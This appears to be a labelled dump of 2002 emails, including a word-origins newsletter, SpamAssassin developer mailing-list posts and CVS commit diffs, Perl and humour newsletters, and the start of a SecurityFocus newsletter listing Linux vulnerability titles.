of this odd expression that I tried to make sense of last week. Taken together, they show that the expression is best known in Canada and that it was originally something like ""My sufficiency has been suffonsified and anything additional would be superfluous"". That form of the word is the one that is most common in online searches, where the Canadian focus is also obvious. Cheryl Caesar noted that it appears in a passage in Margaret Atwood's novel, ""Cat's Eye"": she has two teenage girls living in Toronto in the 1940s who say, ""Are you sufficiently sophonisified?"". A Vancouver restaurant reviewer has the pen name ""Sufficiently Suffonsified"". Oddly, there's also a 1999 record by the Austrian band Cunning Dorx entitled ""Paradigms Suffonsified"". G H Gordon Paterson suggested that the word might be a punning blend of ""sufficient"" and ""fancified"". There are some tantalising suggestions that it may actually be Scots, and not New World at all. ABSQUATULATE I have been gently remonstrated with for describing ""sockdologer"" as one of the products of early American linguistic inventiveness that hasn't survived to the present day. Many people gave me examples of current or recent use. I stand corrected. 2. Turns of Phrase: Thinspiration ------------------------------------------------------------------- This is one of the key words associated with a deeply disquieting online trend. In the past couple of years or so a number of Web sites and chatrooms have appeared which actively promote anorexia nervosa (known on the sites as ""ana"") and other eating disorders as lifestyle choices. Since 90% of anorexics are young women, these ""pro-ana"" sites are usually run by and attract that group (one term sometimes used for them is ""weborexics""). Sites offer suggestions on how to become and remain thin, often through tips on avoiding eating, and how to disguise the condition from family and friends. Other themes sometimes featured on such sites are self-mutilation (""cutting"") and bulimia (""mia""). Thin women, such as supermodels and Calista Flockhart, are presented as ""thinspirations"", examples to emulate. Sites have had names such as Starving for Perfection, Wasting Away on the Web and Dying To Be Thin. Medical professionals in the US and UK are deeply concerned about them, because they accentuate the low self-regard of young women, who are particularly prone to eating disorders, put their lives at risk, and discourage them from facing their illness and seeking treatment for it. The Internet is home to a number of pro-eating disorder Web sites - - places where sufferers can discuss tips, trade low-calorie recipes and exchange poems and art that may be used as ""triggers"" or so-called ""thinspiration."" [""Calgary Sun"", Feb. 2002] A new trend among young adults has been sweeping the nation: pro- anorexia Web sites. Also known as pro-ana, these sites glorify anorexia nervosa and offer ""thinspiration"" on maintaining a starvation lifestyle. [""University Wire"", Apr. 2002] 3. Weird Words: Usufructuary /ju:zjU'frVktju:@rI/ ------------------------------------------------------------------- A person who has the use or enjoyment of something, especially property. We are short of words that contain four u's. Among the few that are even relatively common (leaving aside the Hawaiian ""muu-muu"") are ""tumultuously"" and ""unscrupulous"", although some rare words like ""pustulocrustaceous"" and ""pseudotuberculous"" are also recorded. The term comes from Roman law. ""Usufruct"" is the right of temporary possession or enjoyment of something that belongs to somebody else, so far as that can be done without causing damage or changing its substance. For example, a slave in classical Rome could not own anything. Things he acquired as the result of his labour he merely held ""usus (et) fructus"", under ""use (and) enjoyment"" - it was his master who actually owned them. The term remains in use in modern US legal practice and elsewhere. These days a ""usufructuary"" can be a trustee who enjoys the income from property he holds in trust for somebody else. Many Native American groups hold land on a ""usufruct"" basis, with rights to enjoy the renewable natural resources of the land for hunting and fishing. 4. Q&A ------------------------------------------------------------------- Q. How does the term ""three sheets to the wind"" denote drunkenness? [Benjamin Weatherston] A. It's a sailor's expression. We ignorant landlubbers might think that a sheet is a sail, but in traditional sailing-ship days, a ""sheet"" was actually a rope, particularly one attached to the bottom corner of a sail (it comes from an Old English term for the corner of a sail). The sheets were vital, since they trimmed the sail to the wind. If they ran loose, the sail would flutter about in the wind and the ship would wallow off its course out of control. Extend this idea to sailors on shore leave, staggering back to the ship after a good night on the town, well tanked up. The irregular and uncertain locomotion of the jolly seafarers must have reminded onlookers of the way a ship moved in which the sheets were loose. Perhaps one loose sheet might not have been enough to get the image across, so the saying became ""three sheets to the wind"". Our first written example comes from that recorder of low life, Pierce Egan, in his ""Real life in London"" of 1821. But it must surely be much older. ----------- Q. My East End mother-in-law used to say she was ""well and truly mogadored"" when she was puzzled by something. Any idea of derivation and meaning? [Bryan] A. Now that's a bit of British slang I haven't heard in years, though it is still around (Nanny Ogg uses it in one of Terry Pratchett's Discworld fantasy stories, I am told). As you say, it means that somebody is puzzled, confused, or ""all at sea"". It's also sometimes spelled ""moggadored"", though it doesn't turn up in print much in either spelling. (No relation to the British word ""moggy"" for a cat, by the way, which seems to be a pet form of ""Margaret"".) The writers of slang dictionaries are decidedly mogadored about its origin. It looks very much like rhyming slang for ""floored"", which is likewise slang, meaning dumbfounded or confused. But the dispute arises over what the root is. Some say it is Irish, from ""magagh"", to mock, jeer or laugh at, via an unrecorded intermediate form ""mogadi"". Others suggest that, like some other East End slang terms, it derives from the Gypsy language Romany (Cockney slang is like London itself, a melting pot, in which words from many sources are amalgamated, including Yiddish and old-time forces slang derived from languages around the world). In this case the source may be ""mokardi"" or ""mokodo"", something tainted (these Romany words also provide the root for yet another slang phrase, ""to put the mockers on something"", to jinx it). Sorry not to be able to be more definite! ----------- Q. I was having an interesting discussion with an American professor of business studies who also consults to industry. She was recalling an unbudgeted initiative within a major software corporate, which the UK managing director described as a ""skunk project"". I have seen this epithet before, usually in the phrase ""skunk works"", meaning a semi-official project team that is tacitly licensed to bend the rules and think outside the box. I wonder what the derivation is? I don't think it can refer to the smelly wild animal, but neither I think can it refer to the street term for a strong variant of marijuana. Can you shed any light? [Martin Hayman] A. We must start in Dogpatch, the fictional place in the backwoods of upper New York State made famous between 1934 and 1977 as the home of professional mattress tester Li'l Abner, in the comic strip written and drawn by Al Capp. The original was actually ""Skonk Works"", the place where Lonesome Polecat and Hairless Joe brewed their highly illicit bootleg Kickapoo Joy Juice from ingredients such as old shoes and dead skunks. (""Skonk"" is a dialect variant of ""skunk"".) We must now move to the very real Burbank, California. In 1943, a small group of aeronautical engineers working for the then Lockheed Aircraft Corporation (headed by Clarence ""Kelly"" Johnson) were given the rush job of creating an entirely new plane from scratch, the P-80 ""Shooting Star"" jet fighter. This they did in 143 days, 37 days ahead of schedule. Their secret project was housed in a temporary structure roofed over with an old circus tent, which had been thrown up next to a smelly plastics factory. The story goes that one of the engineers answered the phone on a hot summer day with the phrase ""Skonk Works here"" and the name stuck. It is also said that Al Capp objected to their use of his term and it was changed to Skunk Works. One division of the company, formally the Lockheed Martin Advanced Development Program, is still known as the Skunk Works. The term has been trademarked by Lockheed Martin, who have been aggressive in protecting it. As a generic term, it dates from the 1960s. One definition is very much that of the original and the one you describe: a small group of experts who drop out of the mainstream of a company's operations in order to develop some experimental technology or new application in secrecy or at speed, unhampered by bureaucracy or the strict application of regulations (Kelly Johnson formulated 14 visionary rules for running such an operation, which are still regarded as valid even now). It is also sometimes used for a similar group that operates semi-illicitly, without top-level official knowledge or support, though usually with the tacit approval of immediate management. 5. Endnote ------------------------------------------------------------------- The principal design of a grammar of any language is to teach us to express ourselves with propriety in that language; and to enable us to judge of every phrase and form of construction, whether it be right or not. [Robert Lowth, ""A Short Introduction to English Grammar"" (1762)] 6. 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Them and football of course, more of which in the = Breaking News = section of=20 your friendly neighbourhood Evil=20 Gerald.   Yours,   The Evil Gerald = ------=_NextPart_000_0005_01C2291D.98A2ED40--",0,1 """The Evil Gerald"" ",,"Wed, 26 Jun 2002 11:24:51 +0100",The Evil Gerald Online - Breaking News,"This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C21D04.16C6D7C0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Get another fix of Ireland's Only Newspaper with a large dose of = Breaking News The Evil Gerald Staff ------=_NextPart_000_0007_01C21D04.16C6D7C0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Get another fix of Ireland's Only Newspaper with a = large dose=20 of Breaking=20 News   The Evil Gerald = Staff ------=_NextPart_000_0007_01C21D04.16C6D7C0--",0,1 """The Evil Gerald"" ",,"Fri, 21 Jun 2002 12:34:08 +0100",The Evil Gerald Online - World Cup Issue Out Now!,"This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C2191F.F02C2260 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Piggybacking ... we mean catering for the insatiable appetite for soccer = among soccer fans and people who just want the morning off work alike, = The Evil Gerald presents its World Cup Special Including such stories as Green Army wins hearts of Japanese people, = prostitutes and the truth behind Rivaldo's miraculous moving injuries. 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To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 pudge@perl.org,yyyy-use-perl@spamassassin.taint.org,"Wed, 14 Aug 2002 02:00:29 +0000",[use Perl] Stories for 2002-08-14,"use Perl Daily Newsletter In this issue: * Apress Publishes 'Writing Perl Modules for CPAN' * Lessig's 'Freeing Culture' Keynote Online +--------------------------------------------------------------------+ | Apress Publishes 'Writing Perl Modules for CPAN' | | posted by pudge on Tuesday August 13, @09:50 (books) | | http://use.perl.org/article.pl?sid=02/08/13/1354231 | +--------------------------------------------------------------------+ [0]samtregar writes ""My new book, [1]Writing Perl Modules for CPAN, is now available. If you ever wanted to learn to write modules and release them on CPAN, now is the time. For experienced module makers, the book offers advanced training in XS, Inline::C and CGI::Application. You can [2]read the first chapter online for free. The book is shipping now from [3]Amazon, [4]BN and others."" Discuss this story at: http://use.perl.org/comments.pl?sid=02/08/13/1354231 Links: 0. mailto:sam@tregar.com 1. http://apress.com/book/bookDisplay.html?bID=14 2. http://apress.com/book/supplementDownload.html?bID=14&sID=617 3. http://www.amazon.com/exec/obidos/ASIN/159059018X 4. http://search.barnesandnoble.com/bookSearch/isbnInquiry.asp?isbn=159059018X&pdf=Y +--------------------------------------------------------------------+ | Lessig's 'Freeing Culture' Keynote Online | | posted by KM on Tuesday August 13, @11:27 (links) | | http://use.perl.org/article.pl?sid=02/08/13/1527257 | +--------------------------------------------------------------------+ [0]Ask writes ""Leonard Lin put up [1]Lawrence Lessig's Freeing Culture keynote from OSCON. It's excellent. It's great. It's the slides with audio in flash. So download that flash player already and click the url. I also [2]mirrored it at perl.org. You still here? See it already, you *will* be entertained. Near the end of the keynote Lessig asked how many had donated to the EFF. Many hands went up. We felt great. 'Yeah, we're helping!' Then he asked how many had donated more than they spend on their broadband connection... I don't think I was alone in feeling a bit busted. :-)"" Discuss this story at: http://use.perl.org/comments.pl?sid=02/08/13/1527257 Links: 0. http://www.askbjoernhansen.com/ 1. http://randomfoo.net/oscon/2002/lessig/ 2. http://www.perl.org/tpc/2002/lessig/ Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. 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Just to be clear: we're not after any conference participant/attendees on this, only those who are waiting until all the perl talk has finished (perl-widows and the like). We'd like to have an idea of numbers, please, ahead of time, so: [1]RSVP. Thanks!"" Discuss this story at: http://use.perl.org/comments.pl?sid=02/08/14/2351255 Links: 0. http://www.yapc.org/Europe/ 1. mailto:Richard.Foley@t-online.de Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 nobody@sonic.spamtraps.taint.org (Nobody),undisclosed-recipients: ;,"Wed, 14 Aug 2002 22:44:51 -0700 (PDT)",,"Problem with spamtrap Could not lock /home/yyyy/lib/spamtrap/spam.mbox: File exists at lib/Mail/SpamAssassin/NoMailAudit.pm line 484, line 207.",0,0 Scott A Crosby ,"""Craig R.Hughes"" ",21 Aug 2002 06:57:35 -0500,[SAtalk] Re: results for giant mass-check (phew),"On Tue, 20 Aug 2002 11:14:50 -0700, Craig R.Hughes writes: > On Tuesday, August 20, 2002, at 07:23 AM, Justin Mason wrote: > `> Remember that the GA is going to be considering combinatorial uses of > the rules, so rules which look dodgy on their own might be gems for > the GA -- perhaps something with a S/O ratio of .5 actually occurs > often in combination with some other rule, and in those situations, > helps to distinguish spam vs nonspam. > We're currently using a perceptron classifier. It *can't* learn combinations of rules.[1] I gave an example, assume 4 rules: SPAM = (A or B) and (C or D) It cannot learn that function. A decision tree classifier *can* learn that example, and the function above, where a .5 S/O rule is only important in certain circumstances. (Then again, it may be smartest to hardcode a meta-rule for that case, rather than trust to a naive DT learner.) Scott [1] To be fair, nor can a Bayes classifier. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Daniel Roethlisberger ,SAtalk ,"Wed, 21 Aug 2002 14:05:29 +0200",[SAtalk] German spam corpus / foreign language spam,"I've been lurking the SA lists since I installed SA on a production machine a while back. While SA did a surprisingly accurate job on detecting English language spam, it did not succeed very well on German language spam, which I keep getting increasing amounts of lately. I've got a lousy results with out of the box scores, very few spam is acually cought. What is the strategy with respect to foreign language spam recognition in SA? I've seen extremely few non-english rules. Is there foreign language rule development going on? Has anybody done work on German spam? In any case, I've started spam/nonspam corpi consisting of only German (and Swiss-German, respectively) messages, to be able to help with German rules. Anybody willing to contribute to the corpus feel free to resend/bounce German spam in a sane way to spam@roe.ch . I cannot be bothered to subscribe to SAsightings just for the odd German spam every hundred++ messages.. how about a list for foreign language spam sightings? Has anybody done this before or am I on the edge of duplicating effort here? I've been thinking on this a bit. I think it would be best if there would be general provisions for foreign language rules. In the spirit of the ok_languages option; let users easily enable or disable rules in certain languages. Like a foreign_rules option which could be used to control which foreign rulesets are active. Usually people would want to use checks in all languages which are in the ok_languages list. Is there any development or are there plans along those lines? Are there other people willing to contribute to effective spam filtering rules in German language? Any kind of feedback is welcome, even flames ;) Cheers, Dan -- Daniel Roethlisberger OpenPGP key id 0x804A06B1 (1024/4096 DSA/ElGamal) 144D 6A5E 0C88 E5D7 0775 FCFD 3974 0E98 804A 06B1 >> privacy through technology, not legislation << ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Daniel Quinlan ,"spamassassin-talk@example.sourceforge.net,",20 Aug 2002 22:20:17 -0700,2.40 release procedure (why not give it a read),"I hope you all don't mind me creating a new thread and adding a Cc: to spamassassin-devel. I want to make sure everyone reads Craig's email. (I don't really have any comments other than to endorse it and suggest creating a branch ASAP.) Craig R.Hughes writes: > Ok folks... I think there's been some confusion, so I recommend > the following: > > 1. Use the CVS tag spamassassin_pre_2_4_0 which I just created > to generate your mass-checks > 2. Submit the results via rsync in the usual way ASAP > 3. Justin and I will cooperate on running the GA sometime around > midnight PST (GMT-0800) on thursday/friday > > Any good data that's in the rsync corpus by that time will be > used to feed the GA. That will give everyone about 48 hours > from now to generate the logs and submit them, plus it'll give > Justin and me about 48 hours to tinker with the GA (and > hopefully get it compiling again on my machine grumble > grumble). That should then yield a 2.40 release sometime on > friday, possibly saturday if we need to do multiple GA runs to > tweak things properly. > > C > > PS Volunteering Justin here, since I suspect he's probably fast > asleep right now.",0,0 """Malte S. Stretz"" ",spamassassin-commits@example.sourceforge.net,"Wed, 21 Aug 2002 09:27:29 -0700","[SACVS] CVS: spamassassin/lib/Mail/SpamAssassin Conf.pm,1.91.2.1,1.91.2.2","Update of /cvsroot/spamassassin/spamassassin/lib/Mail/SpamAssassin In directory usw-pr-cvs1:/tmp/cvs-serv13785 Modified Files: Tag: b2_4_0 Conf.pm Log Message: restricted version_tag Index: Conf.pm =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/lib/Mail/SpamAssassin/Conf.pm,v retrieving revision 1.91.2.1 retrieving revision 1.91.2.2 diff -b -w -u -d -r1.91.2.1 -r1.91.2.2 --- Conf.pm 21 Aug 2002 16:02:13 -0000 1.91.2.1 +++ Conf.pm 21 Aug 2002 16:27:27 -0000 1.91.2.2 @@ -263,6 +263,7 @@ if(/^version[-_]tag\s+(.*)$/) { my $tag = lc($1); + $tag =~ tr/a-z0-9./_/c; foreach (@Mail::SpamAssassin::EXTRA_VERSION) { if($_ eq $tag) { $tag = undef; ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 """Malte S. Stretz"" ",spamassassin-commits@example.sourceforge.net,"Wed, 21 Aug 2002 09:27:09 -0700","[SACVS] CVS: spamassassin/lib/Mail/SpamAssassin Conf.pm,1.92,1.93","Update of /cvsroot/spamassassin/spamassassin/lib/Mail/SpamAssassin In directory usw-pr-cvs1:/tmp/cvs-serv13563/lib/Mail/SpamAssassin Modified Files: Conf.pm Log Message: restricted version_tag Index: Conf.pm =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/lib/Mail/SpamAssassin/Conf.pm,v retrieving revision 1.92 retrieving revision 1.93 diff -b -w -u -d -r1.92 -r1.93 --- Conf.pm 21 Aug 2002 16:01:08 -0000 1.92 +++ Conf.pm 21 Aug 2002 16:27:06 -0000 1.93 @@ -263,6 +263,7 @@ if(/^version[-_]tag\s+(.*)$/) { my $tag = lc($1); + $tag =~ tr/a-z0-9./_/c; foreach (@Mail::SpamAssassin::EXTRA_VERSION) { if($_ eq $tag) { $tag = undef; ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Wed, 21 Aug 2002 09:32:58 -0700","[SACVS] CVS: spamassassin/wordfreqs RUNME,1.1,1.1.4.1","Update of /cvsroot/spamassassin/spamassassin/wordfreqs In directory usw-pr-cvs1:/tmp/cvs-serv17442/wordfreqs Modified Files: Tag: b2_4_0 RUNME Log Message: added a warning for ISPs in required_hits manual entry Index: RUNME =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/wordfreqs/RUNME,v retrieving revision 1.1 retrieving revision 1.1.4.1 diff -b -w -u -d -r1.1 -r1.1.4.1 --- RUNME 15 Jan 2002 05:34:18 -0000 1.1 +++ RUNME 21 Aug 2002 16:32:55 -0000 1.1.4.1 @@ -13,17 +13,20 @@ mv spam.local nonspam.local logs/old -./mass-phrase-freq /local2/mail-archives/scoop.1999.gz >> nonspam.local -./mass-phrase-freq /local2/mail-archives/oldmail.1998.gz >> nonspam.local - ./mass-phrase-freq-for-jm ; sh commands.sh -for f in /local2/mail-archives/crackmice-old/* ; do - ./mass-phrase-freq $f >> nonspam.local +for f in /local/mail-archives/recent/nonspam/* ; do + echo Checking $f: ; ./mass-phrase-freq $f >> nonspam.local done -./mass-phrase-freq /local2/mail-archives/kelsey.spamtrap.gz >> spam.local -./mass-phrase-freq /local2/mail-archives/spam.2000-2001.gz >> spam.local +./mass-phrase-freq /local/mail-archives/recent/spamtrap/20020717/nonspam.mbox >> nonspam.local + +./mass-phrase-freq /local/mail-archives/recent/spamtrap/20020717/mbox >> spam.local + +for f in /local/mail-archives/old/nonspam/* /local/mail-archives/recent/nonspam/* +do + echo Checking $f: ; ./mass-phrase-freq $f >> nonspam.local +done echo "" ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Wed, 21 Aug 2002 09:32:57 -0700","[SACVS] CVS: spamassassin/lib/Mail/SpamAssassin Conf.pm,1.91.2.2,1.91.2.3","Update of /cvsroot/spamassassin/spamassassin/lib/Mail/SpamAssassin In directory usw-pr-cvs1:/tmp/cvs-serv17442/lib/Mail/SpamAssassin Modified Files: Tag: b2_4_0 Conf.pm Log Message: added a warning for ISPs in required_hits manual entry Index: Conf.pm =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/lib/Mail/SpamAssassin/Conf.pm,v retrieving revision 1.91.2.2 retrieving revision 1.91.2.3 diff -b -w -u -d -r1.91.2.2 -r1.91.2.3 --- Conf.pm 21 Aug 2002 16:27:27 -0000 1.91.2.2 +++ Conf.pm 21 Aug 2002 16:32:55 -0000 1.91.2.3 @@ -396,7 +396,11 @@ =item required_hits n.nn (default: 5) Set the number of hits required before a mail is considered spam. C can -be an integer or a real number. +be an integer or a real number. 5.0 is the default setting, and is quite +aggressive; it would be suitable for a single-user setup, but if you're an ISP +installing SpamAssassin, you should probably set the default to be something +much more conservative, like 8.0 or 10.0. Experience has shown that you +B get plenty of user complaints otherwise! =cut ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 """Hess, Mtodd, /mth"" ",SpamAssassin-talk@example.sourceforge.net,"Wed, 21 Aug 2002 11:37:23 -0500",RE: [SAtalk] paulgraham.com article,"Yes, it is very impressive. However, all of the most advanced content filtering known to man is easily defeated by simply presenting the content in the form of a graphic image (GIF, JPG, etc.). I'm surprised that more spammers don't already do this. I know we have discussed this before, and maybe we can detect this type of spam via the headers and with Razor/DCC (if you're using them). But that sure narrows down the ruleset (maybe that's good). MTodd -----Original Message----- From: yyyy@spamassassin.taint.org [mailto:yyyy@spamassassin.taint.org] Sent: Friday, August 16, 2002 12:52 PM To: SpamAssassin-talk@example.sourceforge.net Subject: [SAtalk] paulgraham.com article Quite interesting -- it's pretty similar to the spam phrases stuff. As Scott pointed out, this would work quite well as a naive Bayesian system. (in fact, I think it may be quite close to being one already...) I like the way ""FL"" -- ie. Florida -- is one of the top scoring terms. ;) Also, when I was doing the spam-phrases stuff, I discounted the ff0000 thing, as HTML garbage! never realised it corresponded to ""bright red"" :( Have we got a test for that? --j. -- 'Justin Mason' => { url => http://jmason.org/ , blog => http://taint.org/ } ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Matt Sergeant ,"""Hess, Mtodd, /mth"" ","Wed, 21 Aug 2002 18:02:54 +0100",Re: [SAtalk] paulgraham.com article,"Hess, Mtodd, /mth wrote: > Yes, it is very impressive. However, all of the most advanced content > filtering known to man is easily defeated by simply presenting the content > in the form of a graphic image (GIF, JPG, etc.). I'm surprised that more > spammers don't already do this. I know we have discussed this before, and > maybe we can detect this type of spam via the headers and with Razor/DCC (if > you're using them). But that sure narrows down the ruleset (maybe that's > good). Doesn't defeat this system at all. If you see that once, feed it into your bayesian classifier, and it classifies the URLs used for the images. Then next time it sees one, it knows with almost 100% accuracy that an email with one of those URLs is definitely spam. In many ways this is like Razor, which is why I'm hacking on a distributed system to do this, to see if it's feasible to scale it globally. Matt. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Stephane Lentz ,spamassassin-talk@example.sourceforge.net,"Wed, 21 Aug 2002 19:55:29 +0200",Re: [SAtalk] spamc processes,"On Wed, Aug 21, 2002 at 11:26:13AM -0500, brad angelcyk wrote: > > > Hi, > > I have been using SpamAssassin for a few weeks, and I have noticed that > the speed of scanning of email has drastically reduced since we switched > to it. My configuration is Sendmail 8.12.3 with SA 2.31 (using the > spamass-milter sendmail milter). There are 125 spamc processes running > right now, and there were about 109 an hour ago. They don't seem to be > clearing up. Does anybody have any information on what I can do? > > Thanks, > Brad > the check_local tarball includes a program called miltrassassin. It's a C Milter program speaking the SPAMD protocol so it will be far more efficient than spamass-milter. Check http://www.digitalanswers.org/check_local/miltrassassin.html for some details about miltrassassin. The check_local tarball can be downloaded on http://www.digitalanswers.org/check_local/beta.html Another alternative solution is to use Mimedefang : it offers anti-spam, attachment defanging, custom filtering. regards, SL/ --- Stephane Lentz / Alcanet International - Internet Services ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Justin Shore ,"Theo Van Dinter ,","Wed, 21 Aug 2002 13:16:18 -0500",Re: [SAtalk] Highest-scoring false positive,"At 11:34 AM -0400 8/21/02, Theo Van Dinter wrote: >On Wed, Aug 21, 2002 at 10:16:33AM -0500, Frank Pineau wrote: >> Omaha Steaks *is* spam. I bought something from them once. >>*Great* steaks, but >> then they started calling me, emailing me, snail-mailing, >>constantly. I once > >If you sign up for something, it's not spam by definition, aggressive as >they may be. (I told them to stop calling me, and they stopped, so ...) I call it spam if I ask to be removed from the spamming list though. I occasionally buy X-10 stuff. I've learned from past experiences to create a quick mail alias to get order confs and what not. Then can it once the order is complete because those spamming SOBs will not stop filling my inbox with 3-6 ads per day. I've LARTed them and their upstream numerous times asking to be list washed. I don't even get an auto-ack. I started a procmail recipe to reject mail to them and include a form letter (I was planning on later appending every piece of x-10 spam I've archived to the form letter for their reading pleasure...) but I haven't gotten it to work. Bottom line, if I gave them permission to mail me (explicitly or via privacy policy), it's not spam but once I told them to stop mailing me then it's spam. My $.02 Justin -- -- Justin Shore, ES-SS ES-SSR Pittsburg State University Network & Systems Manager http://www.pittstate.edu/ois/ ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Justin Shore ,"""Rice, MA Mark (6750)"" ,","Wed, 21 Aug 2002 15:51:44 -0500",RE: [SAtalk] Probing for valid addrs,"At 3:39 PM -0500 8/21/02, Rice, MA Mark (6750 wrote: >I get hit with these probes or ""Rumplestiltskin attacks"" too. >Justin, could you explain what a ""LART"" is? I've seen that term used on >this list before... Sure. I described it the way I understand it to another person off list a little while ago. It has a couple different definitions. The most common is Luser [sic] Attitude Readjustment Tool. It was first used to describe the reporting of spam to ISPs that didn't think spam was bad. Their attitude needed a little readjusting. It has since taken on the generic meaning of reporting email/security incidents to the appropriate parties. Somewhere the definition is online. I can't seem to find the page though. LART is about as good a word as any to describe reporting Rumplestiltskin attacks. Come to think of it, I generally get a much better response to spam LARTs than I do to LARTs for other things. I'm always careful to say in the LART that the massive amounts probes on our system disrupted service to our customers and that we therefore consider it a DoS attack. That tends to ellict a better response. I also either include a log snippet in the email or I dump it to a file and make it accessible on a web server with other logs of hosts that abused our mail server. That helps too. :) Justin ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 John Boletta ,linux-secnews@securityfocus.com,"Tue, 6 Aug 2002 10:03:52 -0600 (MDT)",SecurityFocus Linux Newsletter #92,"SecurityFocus Linux Newsletter #92 ---------------------------------- This newsletter is sponsored by: SecurityFocus DeepSight Threat Management System >>From June 24th - August 31st, 2002, SecurityFocus announces a FREE two-week trial of the DeepSight Threat Management System: the only early warning system providing customizable and comprehensive early warning of cyber attacks and bulletproof countermeasures to prevent attacks before they hit your network. With the DeepSight Threat Management System, you can focus on proactively deploying prioritized and specific patches to protect your systems from attacks, rather than reactively searching dozens of Web sites or hundreds of emails frantically trying to gather information on the attack and how to recover from it. Sign up today! http://www.securityfocus.com/corporate/products/promo/tmstrial-lx.shtml ------------------------------------------------------------------------------- I. FRONT AND CENTER 1. Advanced Log Processing 2. Assessing Internet Security Risk, Part Three: an Internet... 3. Copyright, Security, and the Hollywood Hacking Bill 4. SecurityFocus DPP Program II. LINUX VULNERABILITY SUMMARY 1. OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow... 2. Abyss Web Server HTTP GET Request Directory Contents Disclosure... 3. DotProject User Cookie Authentication Bypass Vulnerability 4. OpenSSL SSLv3 Session ID Buffer Overflow Vulnerability 5. phpBB2 Gender Mod Remote SQL Injection Vulnerability 6. ShoutBox Form Field HTML Injection Vulnerability 7. Sympoll File Disclosure Vulnerability 8. OpenSSL ASN.1 Parsing Error Denial Of Service Vulnerability 9. William Deich Super SysLog Format String Vulnerability 10. Frederic Tyndiuk Eupload Plain Text Password Storage... 11. Util-linux File Locking Race Condition Vulnerability 12. OpenSSL Kerberos Enabled SSLv3 Master Key Exchange Buffer... 13. OpenSSL ASCII Representation Of Integers Buffer Overflow... 14. ParaChat Phantom User Denial Of Service 